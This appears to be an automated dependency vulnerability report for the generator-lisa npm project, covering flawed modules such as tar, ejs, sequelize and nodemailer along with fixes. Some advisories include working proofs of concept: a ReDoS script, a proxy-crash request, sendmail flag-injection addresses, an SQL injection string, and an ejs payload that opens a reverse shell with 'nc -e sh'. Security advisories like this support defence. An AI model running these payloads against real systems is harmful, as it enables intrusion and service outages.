Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: form-data
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › form-data@2.1.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › form-data@2.1.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › form-data@2.1.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › request@2.88.2 › form-data@2.3.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: sequelize
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.
Remediation
Upgrade sequelize to version 6.19.1 or higher.
References
critical severity
- Vulnerable module: hawk
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Authentication Bypass. The incoming (client supplied) hash of the payload is trusted by the server and not verified before the signature is calculated.
A malicious actor in the middle can alter the payload and the server side will not identify the modification occurred because it simply uses the client provided value instead of verify the hash provided against the modified payload.
According to the maintainers this issue is to be considered out of scope as "payload hash validation is optional and up to developer to implement".
Remediation
There is no fixed version for hawk.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › cross-spawn@5.1.0Remediation: Upgrade to yeoman-generator@2.0.5.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: http-proxy-middleware
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › http-proxy-middleware@0.17.4Remediation: Upgrade to lisa-box@0.0.21.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
PoC
- Run a server like this:
const express = require('express')
const { createProxyMiddleware } = require('http-proxy-middleware')
const frontend = express()
frontend.use(createProxyMiddleware({
target: 'http://localhost:3031',
pathFilter: '*'
}))
frontend.listen(3030)
const backend = express()
backend.use((req, res) => res.send('ok'))
backend.listen(3031)
curl 'localhost:3030//x@x'
Expected: Response with payload ok
Actual: Server crashes with error TypeError: Expected input to be a string (from micromatch)
On v1 and v2 of http-proxy-middleware, it's also possible to exclude pathFilter and cause the server to crash with TypeError: Cannot read properties of null (reading 'indexOf') (from matchSingleStringPath).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade http-proxy-middleware to version 2.0.7, 3.0.3 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-email@2.0.1 › nodemailer@4.7.0
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
PoC
-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)
Remediation
Upgrade nodemailer to version 6.4.16 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.22.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.
By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.
Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.
Remediation
Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.22.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts.
A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.22.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.
This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.
Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.
Note: This only affects users of node-tar on Windows systems.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: sequelize
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..
Remediation
Upgrade sequelize to version 6.29.0 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.22.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection.
node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped.
However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.
Remediation
Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.22.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.
node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.
This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.
Remediation
Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ajv to version 6.12.3 or higher.
References
high severity
- Vulnerable module: bson
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-cache@2.0.0 › cache-manager-mongodb@0.1.7 › mongodb@2.2.36 › mongodb-core@2.1.20 › bson@1.0.9Remediation: Upgrade to lisa-box@0.0.21.
Overview
bson is a BSON Parser for node and browser.
Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.
NOTE: This vulnerability has also been identified as: CVE-2019-2391
Remediation
Upgrade bson to version 1.1.4 or higher.
References
high severity
- Vulnerable module: bson
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-cache@2.0.0 › cache-manager-mongodb@0.1.7 › mongodb@2.2.36 › mongodb-core@2.1.20 › bson@1.0.9Remediation: Upgrade to lisa-box@0.0.21.
Overview
bson is a BSON Parser for node and browser.
Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.
NOTE: This vulnerability has also been identified as: CVE-2020-7610
Remediation
Upgrade bson to version 1.1.4 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: lisa-box@0.0.16 and yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › ejs@2.7.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › ejs@2.7.4Remediation: Upgrade to yeoman-generator@4.11.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs to version 3.1.7 or higher.
References
high severity
- Vulnerable module: ip
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › bonjour@3.5.0 › multicast-dns@6.2.3 › dns-packet@1.3.4 › ip@1.1.9
Overview
ip is a Node library.
